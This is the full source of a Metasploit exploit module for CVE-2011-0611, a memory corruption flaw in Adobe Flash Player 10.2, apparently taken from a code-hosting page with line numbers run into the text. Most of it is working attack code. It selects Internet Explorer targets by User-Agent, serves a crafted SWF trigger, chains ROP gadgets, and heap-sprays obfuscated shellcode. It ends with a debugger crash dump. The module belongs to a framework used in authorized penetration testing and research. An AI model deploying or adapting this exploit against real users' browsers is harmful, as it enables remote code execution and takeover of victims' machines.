Path: blob/master/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::RopDb1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",16'Description' => %q{17This module exploits a vulnerability in Adobe Flash Player that was discovered,18and has been exploited actively in the wild. By embedding a specially crafted .swf19file, Adobe Flash crashes due to an invalid use of an object type, which allows20attackers to overwrite a pointer in memory, and results arbitrary code execution.21Please note for IE 8 targets, Java Runtime Environment must be available on the22victim machine in order to work properly.23},24'License' => MSF_LICENSE,25'Author' => [26'sinn3r',27],28'References' => [29[ 'CVE', '2011-0611' ],30[ 'OSVDB', '71686' ],31[ 'BID', '47314' ],32[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],33[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],34[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],35[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],36[ 'URL', 'http://web.archive.org/web/20110417154057/http://secunia.com:80/blog/210/' ],37],38'Payload' => {39'Space' => 1024,40'BadChars' => "\x00",41},42'DefaultOptions' => {43'EXITFUNC' => "process",44'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',45},46'Platform' => 'win',47'Targets' => [48[ 'Automatic', {} ],49[50'IE 6 on Windows XP SP3',51{52'Rop' => false,53'Pivot' => nil, # No ROP no pivot54'Offset1' => '0x01', # For aligning the payload55'Offset2' => '0x02', # For aligning the CALL56'Max1' => '0x150', # First spray57'Max2' => '0x200' # Second spray58}59],60[61'IE 7 on Windows XP SP3',62{63'Rop' => false,64'Pivot' => nil, # No ROP no pivot65'Offset1' => '0x01', # For aligning the payload66'Offset2' => '0x02', # For aligning the CALL67'Max1' => '0x150', # First spray68'Max2' => '0x200' # Second spray69}70],71[72'IE 8 on Windows XP SP3',73{74'Rop' => true,75'Pivot' => 0x7c348b05, # XCHG EAX,ESP; RETN (MSVCR71.dll)76'Offset1' => '0x5E2', # Offset for rop+payload77'Offset2' => '0x02', # Offset to 0x1111111078'Max1' => '0x250', # First spray79'Max2' => '0x200' # Second spray80}81],82[83'IE 7 on Windows Vista',84{85'Rop' => false,86'Pivot' => nil, # No ROP no pivot87'Offset1' => '0x01', # For aligning the payload88'Offset2' => '0x02', # For aligning the CALL89'Max1' => '0x150', # First spray90'Max2' => '0x200' # Second spray91}92],93[94'IE 8 on Windows 7',95{96'Rop' => true,97'Pivot' => 0x7c348b05, # XCHG EAX,ESP; RETN (MSVCR71.dll)98'Offset1' => '0x5F4', # Offset for rop+payload99'Offset2' => '0x02', # Offset to 0x11111110100'Max1' => '0x101', # First spray101'Max2' => '0x300' # Second spray102}103]104],105'Privileged' => false,106'DisclosureDate' => '2011-04-11',107'DefaultTarget' => 0,108'Notes' => {109'Reliability' => UNKNOWN_RELIABILITY,110'Stability' => UNKNOWN_STABILITY,111'SideEffects' => UNKNOWN_SIDE_EFFECTS112}113)114)115116register_options(117[118OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])119], self.class120)121end122123def exploit124path = File.join(Msf::Config.data_directory, "exploits", "CVE-2011-0611.swf")125f = File.open(path, "rb")126@trigger = f.read(f.stat.size)127f.close128super129end130131def get_target(request)132agent = request.headers['User-Agent']133134if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/135# Windows XP SP3 + IE 6.0136return targets[1]137elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/138# Windows XP SP3 + IE 7.0139return targets[2]140elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/141# Windows XP SP3 + IE 8.0 + JRE6142return targets[3]143elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/144# Windows Vista + IE 7145return targets[4]146elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/147# Windows 7 + IE 8 + JRE6148return targets[5]149else150return nil151end152end153154def on_request_uri(cli, request)155# Set default target156my_target = target157158# If user chooses automatic target, we choose one based on user agent159if my_target.name =~ /Automatic/160my_target = get_target(request)161if my_target.nil?162print_error("Sending 404 for unknown user-agent")163send_not_found(cli)164return165end166vprint_status("Target selected: #{my_target.name}")167end168169vprint_status("URL: #{request.uri}")170171if request.uri =~ /\.swf$/172# Browser requests our trigger file, why not173print_status("Sending trigger SWF...")174send_response(cli, @trigger, { 'Content-Type' => 'application/x-shockwave-flash' })175return176end177178# Targets that don't need ROP179pivot = "\xb8\x0c\x0c\x0c\x0c" # MOV EAX,0x0c0c0c0c180pivot << "\xff\xe0" # JMP EAX181pivot << "\x41" # Pad182183# Targets that need ROP184if my_target['Rop']185# Target Addr=0x11111110186pivot =187[1880x0c0c0c0c, # Padding. Value for ESP after the XCHG pivot189my_target['Pivot'], # ROP Pivot1900x7c346b52, # EAX (POP ESP; RETN)191].pack('V*')192193# Target Addr=0x0c0c0c0c194p = generate_rop_payload('java', payload.encoded)195else196p = payload.encoded197end198199arch = Rex::Arch.endian(my_target.arch)200201shellcode = Rex::Text.to_unescape(p, arch)202pivot = Rex::Text.to_unescape(pivot, arch)203204# Extract string based on target205if my_target.name == 'IE 8 on Windows 7'206js_extract_str = "var block = shellcode.substring(0, (0x7ff00-6)/2);"207elsif my_target.name == 'IE 8 on Windows XP SP3'208js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"209else210js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"211end212213randnop = rand_text_alpha(rand(100) + 1)214js_nops = Rex::Text.to_unescape("\x0c" * 4)215216js = <<-JS217function heap_spray(heaplib, nops, code, offset, max) {218while (nops.length < 0x2000) nops += nops;219var offset = nops.substring(0, offset);220var shellcode = offset + code + nops.substring(0, 0x2000-code.length-offset.length);221while (shellcode.length < 0x40000) shellcode += shellcode;222#{js_extract_str}223heaplib.gc();224for (var i=1; i<max; i++) {225heaplib.alloc(block);226}227}228229var heap_obj = new heapLib.ie(0x20000);230var #{randnop} = "#{js_nops}";231var nops = unescape(#{randnop});232var code = unescape("#{shellcode}");233heap_spray(heap_obj, nops, code, #{my_target['Offset1']}, #{my_target['Max1']});234var fake_pointers = unescape("#{pivot}");235heap_spray(heap_obj, fake_pointers, fake_pointers, #{my_target['Offset2']}, #{my_target['Max2']});236JS237238js = heaplib(js, { :noobfu => true })239240# Javascript obfuscation is optional241if datastore['OBFUSCATE']242js = ::Rex::Exploitation::JSObfu.new(js)243js.obfuscate(memory_sensitive: true)244end245246trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf"247248html = <<-EOS249<html>250<head>251<script>252#{js}253</script>254</head>255<body>256<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"257codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">258<param name="movie" value="#{trigger_file_name}" />259<embed src="#{trigger_file_name}" quality="high" type="application/x-shockwave-flash"260pluginspage="http://www.macromedia.com/go/getflashplayer">261</embed>262</body>263</html>264EOS265266html = html.gsub(/^ {4}/, "")267268print_status("Sending HTML to...")269send_response(cli, html, { 'Content-Type' => "text/html" })270end271end272273=begin2740:000> r275eax=11111110 ebx=00000000 ecx=01d650b0 edx=00000007 esi=0013c2f0 edi=01d650b0276eip=100d01f6 esp=0013c12c ebp=0013c230 iopl=0 nv up ei pl nz na po nc277cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202278Flash10o+0xd01f6:279100d01f6 ff5008 call dword ptr [eax+8] ds:0023:11111118=????????2800:000> dd ecx28101d650b0 11111110 00000000 00000000 0000000028201d650c0 00000000 00000000 00000000 0000000028301d650d0 00000000 00000000 00000000 0000000028401d650e0 00000000 00000000 00000000 0000000028501d650f0 00000000 00000000 00000000 0000000028601d65100 00000000 00000000 00000000 0000000028701d65110 00000000 00000000 00000000 0000000028801d65120 00000000 00000000 00000000 00000000289290=end291292293